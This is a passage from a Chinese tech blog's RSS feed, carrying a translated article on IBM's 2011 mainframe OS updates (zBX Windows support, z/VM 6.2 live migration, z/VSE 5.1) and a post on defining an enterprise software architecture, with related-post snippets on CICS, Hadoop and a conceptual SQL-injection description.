...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/11/05/545.html" rel="bookmark">CICS 事务处理与管理服务</a></h3><p>概述 事务处理是一个庞大而复杂的概念，作为典型事务处理系统中的一个重要组成---TPM（Transaction Processing Monitor）或者联机事务处理（Online Transaction Processing System）, CICS无疑是它的一个完美的实现。本章我们将从事务的角度，进入CICS的世界，一起探讨CICS作为联机事务处理系统（Online Transaction Processing System），如何实现对联机事务处理的基本支持。 事务处理概念回顾 CICS 服务管理基本原理 CICS 基本服务管理介绍 事务处理概念回顾 事务处理可以追溯到很远，我们很难对它下一个很精练的定义。Jim Gray 曾经说 Business is about a transaction，即是说只要有生意存在就有事务概念的存在。生意无处不在，古时候我们以物易物的时代就有生意，有生意，就需要准确的计算和记录. ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/11/05/527.html" rel="bookmark">TDQ/TSQ定义外部文件</a></h3><p>在CICS中，我们可以为TDQ和TSQ定义外部文件，以永久存储TDQ和TSQ的内容，下面介绍具体的定义和使用方法。 TDQ定义外部文件 TDQ有四种类型分别是： • Intrapartition • Extrapartition • Indirect • Remote 这里我们介绍第二种Extrapartition， 这种类型可以将TDQ的内容写入与之绑定的外部QSAM数据集中。 1.首先创建一个QSAM文件，如下所示创建一个PS data set，注意属性设置与图中保持一致。 2.登录CICS Region, 用RDO命令CEDA DEF TDQ定义你的TDQ， 如下图所示指定相应的属性，DSname是第一步中创建的QSAM数据集，DDname用于在CICS log中输出TDQ的内容，然后安装该TDQ。 3. 向TDQ中写入数据，利用CECI命令调用WriteQ ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/05/612.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>剖析IBM大型机近期策略：统一管理、实时迁移</title>
		<link>http://blog.yxzone.net/2012/04/05/610.html</link>
		<comments>http://blog.yxzone.net/2012/04/05/610.html#comments</comments>
		<pubDate>Thu, 05 Apr 2012 02:43:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-我爱主机]]></category>
		<category><![CDATA[IBM]]></category>
		<category><![CDATA[大型机]]></category>
		<category><![CDATA[策略]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=610</guid>
		<description><![CDATA[这年头，没有哪一家供应商光卖硬件系统。它们得有整套解决方案，而且是令人满意的解决方案才行。IBM正在给其大型机操作系统添加诸多改进之处，以取悦客户。这两年的一些动向包括：将Linux、Windows系统集成到大型机上的统一计算管理工具，支持 Linux系统实时迁移，64位虚拟寻址技术等。 &#160;&#160;&#160;&#160;&#160;&#160; 大型机硬件曾在去年年底和今年年中曾焕然一新，但这仅限于IBM的大型机硬件层面。不过，这家公司会给其大型机操作系统添加诸多改进之处，以便取悦于那些超大客户——只有客户心满意足了，他们才会支付IBM对其大型机系统收取的高价。 这年头，没有哪一家供应商光卖硬件系统。它们得有整套解决方案，而且是令人满意的解决方案才行。于是，当IBM在2010年7月宣布推出高端 zEnterprise 196大型机时，其举措不仅仅体现在将四核System z引擎的速度提升到5.2GHz，并为主内存添加类似RAID的数据保护，还在于利用其大型机和专有的（更重要的是，隐蔽、安全、内部的）网络技术，构建 “系统中的系统”，把使用Power7或至强7500处理器的刀片服务器，还有各种硬件设备连接起来，看起来更像是异步系统，和以前那些共享空间但其实并未协同工作的一组机器不太一样。 IBM早在今年1月开始交付面向IBM大型机的zEnterprise BladeCenter Extension（zBX）时，我们就深入分析了其所有硬件规格。值得关注的地方是，IBM当时就打算支持Power刀片上的AIX和x86刀片上的Linux，这主要是由于IBM控制着AIX，另一方面Linux是开源操作系统，所以它设想如何将Linux集成到大型机上的统一计算管理器（URM）这款控制工具。URM控制着大型机和附属刀片上的操作系统和虚拟机管理程序。但是微软控制着Windows，因而IBM不想就zBX上的Windows许下任何承诺。但是使用大型机的公司拥有无数不受约束的Windows机器，实际上促使蓝色巨人在今年的4月承诺对Windows提供支持。 在这方面开展了近一年的工作后，IBM现在表示，它会在今年12月16日让Windows可以在面向zBX机箱的基于HX5至强的刀片服务器上运行。由于HX5刀片连接到zEnterprise 196大型机或者今年7月推出的zEnterprise 114中档大型机，因而Windows可以部署到HX5刀片上。 没错，这意味着大型机操作人员可以在大型机上玩《孤岛危机》游戏——当然，不是严格意义上的在大型机上玩。 如今IBM在zBX机箱中的PS701刀片服务器上支持运行AIX 5.3、6.1和7.1。自今年年初以来，除了支持SUSE Linux Enterprise Server 10 SP4 和11 SP1外，HX5刀片还一直能够支持红帽企业级Linux 5.5、5.6和6.0；现在可以运行微软Windows Server 2008 R2数据中心版本。这个操作系统版本在虚拟化方面没有限制，但售价比较高，不过严格来说，任何较便宜的Windows版本无法运行是没有道理的。 zBX扩展系统可以有112块PS701刀片或28块HX5刀片；IBM在zEnterprise 196发布会上宣称，大型机和zBX机箱这对组合有望支持10万多个虚拟机。zBX上还可以安装智能分析优化器（Smart Analytics Optimizer），这种协处理器可以加快大型机上的数据库查询速度；还可以安装DataPower集成设备（DataPower Integration Appliance），这种设备有点像在基于Power的刀片上运行的、介于大型机应用程序与外界之间的翻译器，这种设备可能想要支持XML和SOA。 除了在zBX上支持Windows外，今年12月IBM还会展示可通过编程途径，访问应用编程接口（API）的URM工具，使得这个组合体运行起来更顺畅，另外还允许URM动态发现可供z/VM虚拟服务器使用的存储资源。z/VM不仅是一款独立的操作系统，还是IBM面向大型机的几项虚拟机管理程序技术中的一项。 z/VM添加集群和实时迁移功能 说到z/VM，蓝色巨人预览了这款大型机操作系统/虚拟机管理程序的V6.2版本，该版本将在12月2日开始发布。当然，z/VM是在System z大型机上支持Linux操作系统的虚拟化层。 z/VM V6.2拥有一项出色的新特性，名为z/VM单一系统映像集群（简称VMSSI）；顾名思义，它允许最多四个基于z/VM的大型机非常紧密地结合起来，组合成一个共享内存系统。这就好比Virtual Iron（现归属甲骨文公司）早在十年前对Linux设备试图采取的做法，目前ScaleMP和RNA Networks（现归属戴尔公司）以某种方式来实现同样的功能。把四个不同System z大型机上的四个不同z/VM虚拟机管理程序联系起来，使得这四个大型机在部署在z/VM上的操作系统和应用程序看来，就像是单单一个共享内存系统。该特性还允许在VMSSI集群之间实时迁移运行中的Linux分区——z/VM需要这样一种功能，才能与基于x86的虚拟机管理程序相抗衡，而后者多年来就有这样的功能。 经过更新的z/VM V6.2可以在最新的zEnterprise 114和196系统上运行，也可以在早些时候的System z10 BC和EC机器上运行。它需要64位处理器和内存寻址技术，但是可以运行比较旧的31位操作系统和应用程序。z/VM V6.2已经过了调整，以便允许IBM的XIV集群文件系统和TS1140磁带驱动器同样可以直接连接到基于z/VM的机器上。另外还有一大批改进，按大写字母顺序介绍，详见这里。 开始享用虚拟化技术 IBM还预览了VSE大型机操作系统的下一个版本：z/VSE V5.1。虽然对运行WebSphere中间件、 Java和COBOL应用程序及DB2数据库，以及提供Unix运行时环境的大型机系统来说，MVS、OS/390和z/OS是几款高端的大型机操作系统，但是近些年来，VSE在运行客户信息控制系统（CICS）事务监控器和DB2数据库的小型机器上一直颇受欢迎。 z/VSE [...]]]></description>
			<content:encoded><![CDATA[<p>这年头，没有哪一家供应商光卖硬件系统。它们得有整套解决方案，而且是令人满意的解决方案才行。IBM正在给其大型机操作系统添加诸多改进之处，以取悦客户。这两年的一些动向包括：将Linux、Windows系统集成到大型机上的统一计算管理工具，支持 Linux系统实时迁移，64位虚拟寻址技术等。</p>
<p><span id="more-610"></span>
<p>&#160;&#160;&#160;&#160;&#160;&#160; 大型机硬件曾在去年年底和今年年中曾焕然一新，但这仅限于IBM的大型机硬件层面。不过，这家公司会给其大型机操作系统添加诸多改进之处，以便取悦于那些超大客户——只有客户心满意足了，他们才会支付IBM对其大型机系统收取的高价。</p>
<p>这年头，没有哪一家供应商光卖硬件系统。它们得有整套解决方案，而且是令人满意的解决方案才行。于是，当IBM在2010年7月宣布推出高端 zEnterprise 196大型机时，其举措不仅仅体现在将四核System z引擎的速度提升到5.2GHz，并为主内存添加类似RAID的数据保护，还在于利用其大型机和专有的（更重要的是，隐蔽、安全、内部的）网络技术，构建 “系统中的系统”，把使用Power7或至强7500处理器的刀片服务器，还有各种硬件设备连接起来，看起来更像是异步系统，和以前那些共享空间但其实并未协同工作的一组机器不太一样。</p>
<p>IBM早在今年1月开始交付面向IBM大型机的zEnterprise BladeCenter Extension（zBX）时，我们就深入分析了其所有硬件规格。值得关注的地方是，IBM当时就打算支持Power刀片上的AIX和x86刀片上的Linux，这主要是由于IBM控制着AIX，另一方面Linux是开源操作系统，所以它设想如何将Linux集成到大型机上的<strong>统一计算管理器（URM）这款控制工具</strong>。URM控制着大型机和附属刀片上的操作系统和虚拟机管理程序。但是微软控制着Windows，因而IBM不想就zBX上的Windows许下任何承诺。但是使用大型机的公司拥有无数不受约束的Windows机器，实际上促使蓝色巨人<a href="http://os.51cto.com/art/201104/256706.htm">在今年的4月承诺对Windows提供支持</a>。</p>
<p>在这方面开展了近一年的工作后，IBM现在表示，它会在今年12月16日让Windows可以在面向zBX机箱的基于HX5至强的刀片服务器上运行。由于HX5刀片连接到zEnterprise 196大型机或者今年7月推出的zEnterprise 114中档大型机，因而Windows可以部署到HX5刀片上。</p>
<p>没错，这意味着大型机操作人员可以在大型机上玩《孤岛危机》游戏——当然，不是严格意义上的在大型机上玩。</p>
<p>如今IBM在zBX机箱中的PS701刀片服务器上支持运行AIX 5.3、6.1和7.1。自今年年初以来，除了支持SUSE Linux Enterprise Server 10 SP4 和11 SP1外，HX5刀片还一直能够支持红帽企业级Linux 5.5、5.6和6.0；现在可以运行微软Windows Server 2008 R2数据中心版本。这个操作系统版本在虚拟化方面没有限制，但售价比较高，不过严格来说，任何较便宜的Windows版本无法运行是没有道理的。</p>
<p>zBX扩展系统可以有112块PS701刀片或28块HX5刀片；IBM在zEnterprise 196发布会上宣称，大型机和zBX机箱这对组合有望支持10万多个虚拟机。zBX上还可以安装智能分析优化器（Smart Analytics Optimizer），这种协处理器可以加快大型机上的数据库查询速度；还可以安装DataPower集成设备（DataPower Integration Appliance），这种设备有点像在基于Power的刀片上运行的、介于大型机应用程序与外界之间的翻译器，这种设备可能想要支持XML和SOA。</p>
<p>除了在zBX上支持Windows外，今年12月IBM还会展示可通过编程途径，访问应用编程接口（API）的URM工具，使得这个组合体运行起来更顺畅，另外还允许URM动态发现可供z/VM虚拟服务器使用的存储资源。z/VM不仅是一款独立的操作系统，还是IBM面向大型机的几项虚拟机管理程序技术中的一项。</p>
<p><b>z/VM</b><b>添加集群和实时迁移功能</b></p>
<p>说到z/VM，蓝色巨人预览了这款大型机操作系统/虚拟机管理程序的V6.2版本，该版本将在12月2日开始发布。当然，z/VM是在System z大型机上支持Linux操作系统的虚拟化层。</p>
<p>z/VM V6.2拥有一项出色的新特性，名为<strong>z/VM单一系统映像集群</strong>（简称VMSSI）；顾名思义，它允许最多四个基于z/VM的大型机非常紧密地结合起来，组合成一个共享内存系统。这就好比Virtual Iron（现归属甲骨文公司）早在十年前对Linux设备试图采取的做法，目前ScaleMP和RNA Networks（现归属戴尔公司）以某种方式来实现同样的功能。把四个不同System z大型机上的四个不同z/VM虚拟机管理程序联系起来，使得这四个大型机在部署在z/VM上的操作系统和应用程序看来，就像是单单一个共享内存系统。该特性还允许在VMSSI集群之间实时迁移运行中的Linux分区——z/VM需要这样一种功能，才能与基于x86的虚拟机管理程序相抗衡，而后者多年来就有这样的功能。</p>
<p>经过更新的z/VM V6.2可以在最新的zEnterprise 114和196系统上运行，也可以在早些时候的System z10 BC和EC机器上运行。它需要64位处理器和内存寻址技术，但是可以运行比较旧的31位操作系统和应用程序。z/VM V6.2已经过了调整，以便允许IBM的XIV集群文件系统和TS1140磁带驱动器同样可以直接连接到基于z/VM的机器上。另外还有一大批改进，按大写字母顺序介绍，详见<a href="http://www-01.ibm.com/common/ssi/ShowDoc.jsp?docURL=/common/ssi/rep_ca/9/897/ENUS211-409/">这里</a>。</p>
<p><b>开始享用虚拟化技术</b></p>
<p>IBM还预览了VSE大型机操作系统的下一个版本：z/VSE V5.1。虽然对运行WebSphere中间件、 Java和COBOL应用程序及DB2数据库，以及提供Unix运行时环境的大型机系统来说，MVS、OS/390和z/OS是几款高端的大型机操作系统，但是近些年来，VSE在运行客户信息控制系统（CICS）事务监控器和DB2数据库的小型机器上一直颇受欢迎。</p>
<p>z/VSE V5.1的一大新特性就是<strong>64位虚拟寻址技术</strong>，这在随z/VSE V4.1一同推出的64位“实际”寻址技术的基础上进行了升级。早在初期阶段，System/370大型拥有用24位内存，这为用户提供了16MB的地址空间。推出 System 370/XA机器后，IBM升级到了32位寻址技术，为用户提供2GB的内存。针对24位模式编写的程序可以在31位系统上运行。</p>
<p>2000年，随着zSeries系列的推出，IBM改用了64位物理寻址技术，从理论上来说允许大型机的内存寻址能力多达16艾字节（比100万太字节多一点）。通常来说，2GB最大值以上的虚拟地址留给应用程序和数据，而不是留给操作系统。不管怎样，之前z/VSE版本的虚拟寻址技术仍是31位，而现在它是64位，这就意味着使用大型机的公司没必要致力于数据地址空间或被破解的算法，来管理2GB最大值以上内存的使用。现在，这部分高端内存可通过虚拟方式来访问，就好像这部分内存在z/OS中一样。</p>
<p>z/VSE V5.1将在11月25日发布。它既可以在zEnterprise 114和196机器上运行，也可以在System z10 BC和EC大型机上运行。</p>
<p>原文：<a href="http://www.theregister.co.uk/2011/10/17/ibm_mainframe_os_enhancements/">http://www.theregister.co.uk/2011/10/17/ibm_mainframe_os_enhancements/</a></p>
<div id="seo_alrp_related"><h2>Posts Related to 剖析IBM大型机近期策略：统一管理、实时迁移</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/619.html" rel="bookmark">SQL 注入(2)</a></h3><p>本文来自 MSDN （http://msdn.microsoft.com） SQL 注入是一种攻击方式，在这种攻击方式中，恶意代码被插入到字符串中，然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查，因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。 SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时，将执行该恶意代码。 注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串，因此攻击者将用注释标记“--”来终止注入的字符串。执行时，此后的文本将被忽略。以下脚本显示了一个简单的 SQL 注入。此脚本通过串联硬编码字符串和用户输入的字符串而生成一个 SQL 查询： 复制 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/03/23/601.html" rel="bookmark">Hadoop</a></h3><p>一个分布式系统基础架构，由Apache基金会开发。用户可以在不了解分布式底层细节的情况下，开发分布式程序。充分利用集群的威力高速运算和存储。Hadoop实现了一个分布式文件系统（Hadoop Distributed File System），简称HDFS。HDFS有着高容错性的特点，并且设计用来部署在低廉的（low-cost）硬件上。而且它提供高传输率（high throughput）来访问应用程序的数据，适合那些有着超大数据集（large data set）的应用程序。HDFS放宽了（relax）POSIX的要求（requirements）这样可以流的形式访问（streaming access）文件系统中的数据。hadoop起源 Hadoop 由 Apache Software Foundation 公司于 2005 年秋天作为 Lucene的子 hadoop logo 项目 Nutch的一部分正式引入。它受到最先由 Google Lab 开发的 Map/Reduce ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/04/231.html" rel="bookmark">windows7上配置IIS+ASP+PHP+MYSQL环境</a></h3><p>（1）、采用理由： 优点：最大化的桌面图形化操作系统，可维护性优秀。基于IIS v6.0/v7.0（2008），可以支持的脚本相当完整，不仅支持Linux无法支持的asp/asp.net，还可以安装php、mysql、zend实现php环境。同时，利用Serv-U可以实现ftp管理。操作简单，无需键入任何命令就可实现全能型主机。 缺点：由于正版Windows价格昂贵，Windows 2003中文企业版一般价格在19000-30000， Windows 2008中文版在20000-25000。如果加装MSSQL，价格更要成倍增长 成功案例：微软公司服务器集群 （2）、操作步骤： 说明:由于安装Windows 2008无法在虚拟机中实现,主要是内存不够大。所以采用Windows 7 代替Windows 2008，采用IIS v7.0+php+mysql+zend构建操作环境。 1. 安装IIS v7.0 控制面板-程序和功能-打开或关闭Windows 功能 测试是否成功安装IIS v7.0，在浏览器输入：http://localhost/ 或者http://127.0.0.1/ 出现如上界面说明成功安装IIS v7.0 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/07/256.html" rel="bookmark">什么是WiFi（Wi-Fi）？</a></h3><p>WIFI相关简述 全称Wireless Fidelity，又称802.11b标准，它的最大优点就是传输速度较高，可以达到11Mbps，另外它的有效距离也很长，同时也与已有的各种802.11 DSSS设备兼容。今夏最流行的笔记本电脑技术--迅驰技术就是基于该标准的，无线上网已经成为现实。。 IEEE 802.11b无线网络规范是IEEE 802.11网络规范的变种，最高带宽为11 Mbps，在信号较弱或有干扰的情况下，带宽可调整为5.5Mbps、2Mbps和1Mbps，带宽的自动调整，有效地保障了网络的稳定性和可靠性。其主要特性为：速度快，可靠性高，在开放性区域，通讯距离可达305米，在封闭性区域，通讯距离为76米到122米，方便与现有的有线以太网络整合，组网的成本更低。 Wi-Fi_WirelessFidelity，无线保真技术与蓝牙技术一样，同属于在办公室和家庭中使用的短距离无线技术。该技术使用的是2.4GHz附近的频段，该频段目前尚属没用许可的无线频段。其目前可使用的标准有两个，分别是IEEE802.11a和IEEE802.11b。该技术由于有着自身的优点，因此受到厂商的青睐。 Wi-Fi技术突出的优势 在于： 其一，无线电波的覆盖范围广，基于蓝牙技术的电波覆盖范围非常小，半径大约只有50英尺左右_约合15米_，而Wi-Fi的半径则可达300英尺左右_约合100米_，办公室自不用说，就是在整栋大楼中也可使用。最近，由Vivato公司推出的一款新型交换机。据悉，该款产品能够把目前Wi-Fi无线网络300英尺_接近100米_的通信距离扩大到4英里_约6.5公里_。 其二，虽然由Wi-Fi技术传输的无线通信质量不是很好，数据安全性能比蓝牙差一些，传输质量也有待改进，但传输速度非常快，可以达到11mbps，符合个人和社会信息化的需求。 其三，厂商进入该领域的门槛比较低。厂商只要在机场、车站、咖啡店、图书馆等人员较密集的地方设置胰鹊阌，并通过高速线路将因特网接入上述场所。这样，由于胰鹊阌所发射出的电波可以达到距接入点半径数十米至100米的地方，用户只要将支持无线LAN的笔记本电脑或PDA拿到该区域内，即可高速接入因特网。也就是说，厂商不用耗费资金来进行网络布线接入，从而节省了大量的成本。 根据无线网卡使用的标准不同，WIFI的速度也有所不同。其中IEEE802.11b最高为11Mbps（部分厂商在设备配套的情况下可以达到22Mbps），IEEE802.11a为54Mbps、IEEE802.11g也是54Mbps。 WIFI是由AP(Access Point)和无线网卡组成的无线网络。AP一般称为网络桥接器或接入点，它是当作传统的有线局域网络与无线局域网络之间的桥梁，因此任何一台装有无线网卡的PC均可透过AP去分享有线局域网络甚至广域网络的资源,其工作原理相当于一个内置无线发射器的HUB或者是路由， 而无线网卡则是负责接收由AP所发射信号的CLIENT端设备。 而wireless b/g表示网卡的型号,按照其速度与技术的新旧可分为802.11a、802.11b、802.11g ------------------------------------ 讲起无线网，大家都有一种似是而非的感觉，无线是否简单地两台计算机互联？No！这已经是上个世纪的无线概念，新一代的无线网络，将以无须布线和使用相对自由，建立起人们对无线局域网的全新感受。需求决定了市场的发展，很少见到哪种IT技术或是产品能够象它样有如此迅猛的增长势头，不受任何约束随时随地访问互联网不再是梦想，其中，WiFi发挥了至关重要的作用。Wi-Fi代表了"无线保真"，指具有完全兼容性的802.11标准IEEE802.11b子集，它使用开放的2.4GHz直接序列扩频，最大数据传输速率为11Mbps，也可根据信号强弱把传输率调整为5.5Mbps、2Mbps和1Mbps带宽。无需直线传播传输范围为室外最大300米，室内有障碍的情况下最大100米，是现在使用的最多的传输协议。它与有线网络相较之下，有许多优点： 无须布线 WiFi最主要的优势在于不需要布线，可以不受布线条件的限制，因此非常适合移动办公用户的需要，具有广阔市场前景。目前它已经从传统的医疗保健、库存控制和管理服务等特殊行业向更多行业拓展开去，甚至开始进入家庭以及教育机构等领域。  健康安全 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/10/03/491.html" rel="bookmark">终极解码2011国庆版</a></h3><p>&#160;&#160;&#160;&#160; 终极解码是一款全能型、高度集成的解码包，自带三种流行播放器并对WMP提供良好支持，可在简、繁、英3种语言平台下实现各种流行视频音频的完美回放及编码功能。推荐安装环境的是Windows XP或Windows 7、DirectX 9.0C以上，不支持Windows9x；如需在Windows7/Vista系统下使用，请在安装过程中注意关闭系统的UAC功能（用户账户控制）。若与Realplayer同时使用，请在安装时不要选择 Real 解码器，QuickTime类似。 下载地址： http://115.com/file/aqvu6n6h MD5: FinalCodecs2011nd.exe 39D6546705BFC87765DAE3F1E4EBAE1E 主要更新内容 1. 解码中心 - 可选择使用ffdshow的Mpeg2视频解码器。 - “默认解码 自动模式”修正个别BluRay Remux解码花屏的问题。 - “默认解码 自动模式”修正Windows XP下KMP播放VC-1编码BluRay原盘/Remux的卡顿问题。 ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/05/610.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何定义和建立架构</title>
		<link>http://blog.yxzone.net/2012/04/05/608.html</link>
		<comments>http://blog.yxzone.net/2012/04/05/608.html#comments</comments>
		<pubDate>Thu, 05 Apr 2012 02:37:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=608</guid>
		<description><![CDATA[任何系统都有架构，无论多小的系统都有。区别在于其架构是否是经过明确设计并表达。一个合理的架构无疑是经过精心设计和维护的，而进行架构设计，或者说定义/建立一个架构可以分为如下几个步骤。 特别的，本文针对于企业应用架构，其他应用未必适用。 基线准备 如果建立第一版架构（即从零开始）可以跳过此步，但对于建立第n版（n&#62;=2）架构，则需要进行基线准备。通常从上一个架构设计开始，去除不在必要的内容作为基线。 非功能性需求的收集、分析和细化 这步骤非常关键，本质上架构关注的是系统的非功能性需求，虽然不是系统的全部，但无疑是最重要的20%，而这也是不同公司/产品的架构差异性的根源。 一个完整的非功能性需求列表不仅仅来自业务部门（系统客户），还需要包括开发/研发管理层以及开发团队。实践中可以如下检查列表来帮助收集： l 目标应用，企业应用和互联网应用就不太相同 l 目标环境，系统部署的硬件环境、网络环境等，更有云计算环境和传统服务器环境的差异。 l 常见技术指标 n 稳定性/可用性，主要是MTBF和MTBR指标要求 n 性能，如Web应用下单次操作1/5/10原则，相关并发压力要求等 n 容量，主要是数据容量，此外有时还要考虑内存的限制 n 实时性，涉及到数据同步/复制/消息传播/异步操作 n 易用性，这个指标不容易衡量 l 系统/项目/产品自身，来自客户 l 管理指标，主要来自管理层 n 成熟度/培训招聘成本 n 产品化/定制化 n 组件化 n 领域化 n 标准性 n 平台化/小型中间件 n 集成性/兼容/迁移能力 涉及遗留系统，关于兼容需要明确的兼容方式和兼容模式。兼容方式包括：语义兼容/源代码（语言级/API级）兼容/运行时兼容（运行库/二进制）；兼容模式：向前兼容/向后兼容。 n 1.4.6 容错性 包括速错能力和消除易错机制（error-prone mechanism） n 1.4.7 升级性 以上列表略显草根性，实际过程中也可以从架构评估角度反向进行非功能性需求收集，可以参考《Attribute Based Architectural Evaluation》。 一次性完整地收集非功能性需求并不是件容易的事，因此在架构发布后也要不停的进行改进。 [...]]]></description>
			<content:encoded><![CDATA[<p>任何系统都有架构，无论多小的系统都有。区别在于其架构是否是经过明确设计并表达。一个合理的架构无疑是经过精心设计和维护的，而进行架构设计，或者说定义/建立一个架构可以分为如下几个步骤。   <br />特别的，本文针对于企业应用架构，其他应用未必适用。    <br />基线准备    <br />如果建立第一版架构（即从零开始）可以跳过此步，但对于建立第n版（n&gt;=2）架构，则需要进行基线准备。通常从上一个架构设计开始，去除不在必要的内容作为基线。    <br />非功能性需求的收集、分析和细化    <br />这步骤非常关键，本质上架构关注的是系统的非功能性需求，虽然不是系统的全部，但无疑是最重要的20%，而这也是不同公司/产品的架构差异性的根源。</p>
<p><span id="more-608"></span>
<p>一个完整的非功能性需求列表不仅仅来自业务部门（系统客户），还需要包括开发/研发管理层以及开发团队。实践中可以如下检查列表来帮助收集：    <br />l 目标应用，企业应用和互联网应用就不太相同    <br />l 目标环境，系统部署的硬件环境、网络环境等，更有云计算环境和传统服务器环境的差异。    <br />l 常见技术指标    <br />n 稳定性/可用性，主要是MTBF和MTBR指标要求    <br />n 性能，如Web应用下单次操作1/5/10原则，相关并发压力要求等    <br />n 容量，主要是数据容量，此外有时还要考虑内存的限制    <br />n 实时性，涉及到数据同步/复制/消息传播/异步操作    <br />n 易用性，这个指标不容易衡量    <br />l 系统/项目/产品自身，来自客户    <br />l 管理指标，主要来自管理层    <br />n 成熟度/培训招聘成本    <br />n 产品化/定制化    <br />n 组件化    <br />n 领域化    <br />n 标准性    <br />n 平台化/小型中间件    <br />n 集成性/兼容/迁移能力    <br />涉及遗留系统，关于兼容需要明确的兼容方式和兼容模式。兼容方式包括：语义兼容/源代码（语言级/API级）兼容/运行时兼容（运行库/二进制）；兼容模式：向前兼容/向后兼容。    <br />n 1.4.6 容错性    <br />包括速错能力和消除易错机制（error-prone mechanism）    <br />n 1.4.7 升级性    <br />以上列表略显草根性，实际过程中也可以从架构评估角度反向进行非功能性需求收集，可以参考《Attribute Based Architectural Evaluation》。    <br />一次性完整地收集非功能性需求并不是件容易的事，因此在架构发布后也要不停的进行改进。    <br />架构定义    <br />完成非功能性需求并明确后，就可以进行架构定义了。架构定义可以分为三个部分：设计、选型以及构建和评估。    <br />架构设计    <br />这个阶段相对务虚，但却是整个架构定义的基础，决定了所有的后续工作。主要包括如下三个工作内容：    <br />l 确定架构手段，包括架构的原则、规范、模式、工具、框架/平台和语言，以及这些手段的适用范围，哪些问题应用工具来解决，而另一些问题采用哪个框架/平台完成，还有一些通过原则或规范处理。    <br />l 确定组织分工和流程，不同的工作通过组织内不同角色完成。    <br />l 确定结构化范围，区分系统内和系统外，并非所有非功能性需求都是通过系统的手段解决，适当采用系统外手段甚至更简单和准确。    <br />技术选型/预研    <br />纸面上的架构其约束性和可操作性非常低，为了让架构从三万英尺的高空落地有两种办法：流程和平台。其中，流程是由组件分工完成，而平台构建通常不会从零开始，实践中会尽可能利用已有成果：商业产品和开源产品。因此技术选型以及预研工作则显得非常重要。    <br />进行技术选型需要注意两个关键点：    <br />u 评估单项技术的有用性（技术功能）和可用性（非功能性需求，即使用成本）    <br />有用性是指相应的技术功能点是否解决架构所面临的功能性和非功能性需求；    <br />可用性是指是否满足整体的非功能性需求，如性能、容量和稳定性。以及管理层关注指标（使用成本），如技术成熟度、标准性、培训招聘成本以及产品的生命周期，以及License费用等。    <br />u 保持全局视角    <br />关注全局，木桶理论的再次应用，避免某项技术存在的缺陷影响整体。    <br />主要的选型内容如下：    <br />l 语言，不同语言所能提供的开发能力是不同。而且开发语言直接影响到后续技术的选型以及人员的招聘。    <br />l 框架/平台，提供运行环境和集成环境。    <br />l 工具，古话说：磨刀不误砍柴工。但要注意避免工具中心论，正确认识工具的用于——工具是帮助我们解决一些脏活累活的，除此外无它。在整个架构中，工具的作用是大大低于语言和框架/平台。    <br />除去技术选型外，对于一些不确定的内容，还需开展预研工作，验证其可行性或者进行性能测试。    <br />架构构建和评估    <br />如前所述为了使架构落地，在技术选型后完成后进行架构构建，包括了定制化设计和开发，并进行质量保证。    <br />架构构建的结果通常分为三个层次：    <br />l 集成环境，提供一个开发的脚手架，这个是最低层次。    <br />l 编程模型，提供一个统一的编程模型，包含了自定义框架和类库，并对底层技术提供了一定封装和隐藏。当前的趋势是：提供一个POJO一致性的编程模型。    <br />l 运行平台，提供了一个运行平台，（勉强）可以算做一个中间件产品。    <br />架构构建过程中应注意如下内容：    <br />l 应用区分平台系统和应用开发接口    <br />应用开发接口是给后续产品开发使用，接口一旦设计发布应当保持问题性和兼容性；而平台系统对后续系统开发不可见，避免兼容设计成本，有利后续升级和变化。    <br />l 简单的API，强大的功能，类似于高级语言    <br />l 可以扩展的SPI，另一种形式的API    <br />l 消除易错机制（error-prone mechanism），避免当错误使用后的修正成本太高    <br />l 适应变化和二八原则，避免在需求变化时后调整的成本过高    <br />l 隔离具体技术，保持未来的迁移性和可升级性    <br />l 提供调用接口和模型应具备一定抽象性    <br />l 分离关注点，纵向的层次化抽象，以及横向的模块与切面    <br />l 提供申明式定义（如XML），由反向解析映射到具体技术，关注于做什么而非怎么做。    <br />架构完成构建后，进入架构评估。    <br />架构评估是确保架构有效性的重要步骤，需要针对所收集到的非功能性需求——工作上形成一个闭环，确保工作的有效性——因为架构涉及系统中最重要的20%，应该尽早验证，而不是简单地希望一切都好。    <br />架构评估包括两个工作：进行验证和协助。    <br />可以根据非功能性需求列表来制定验证点，这里列举下主要的验证点：    <br />l 技术点验证    <br />l 性能压力验证    <br />l 稳定性验证    <br />更正规的评估方法可以参考《Attribute Based Architectural Evaluation》。    <br />协助是架构评估的另一项工作。架构不是几个人关在一个房间里整出来的与世隔绝的东西。需要项目/系统/产品的等相关利益者理解它。这项工作不应是发布几份文档宣称架构如此如此（见后续《架构发布》），它应当在架构评估时进行（虽然可以在架构构建时进行，但是由于此时架构并未成形，此时的效果有限）。    <br />架构发布    <br />当架构构建完成并通过评估，架构就可以正式发布了。    <br />框架/平台和工具    <br 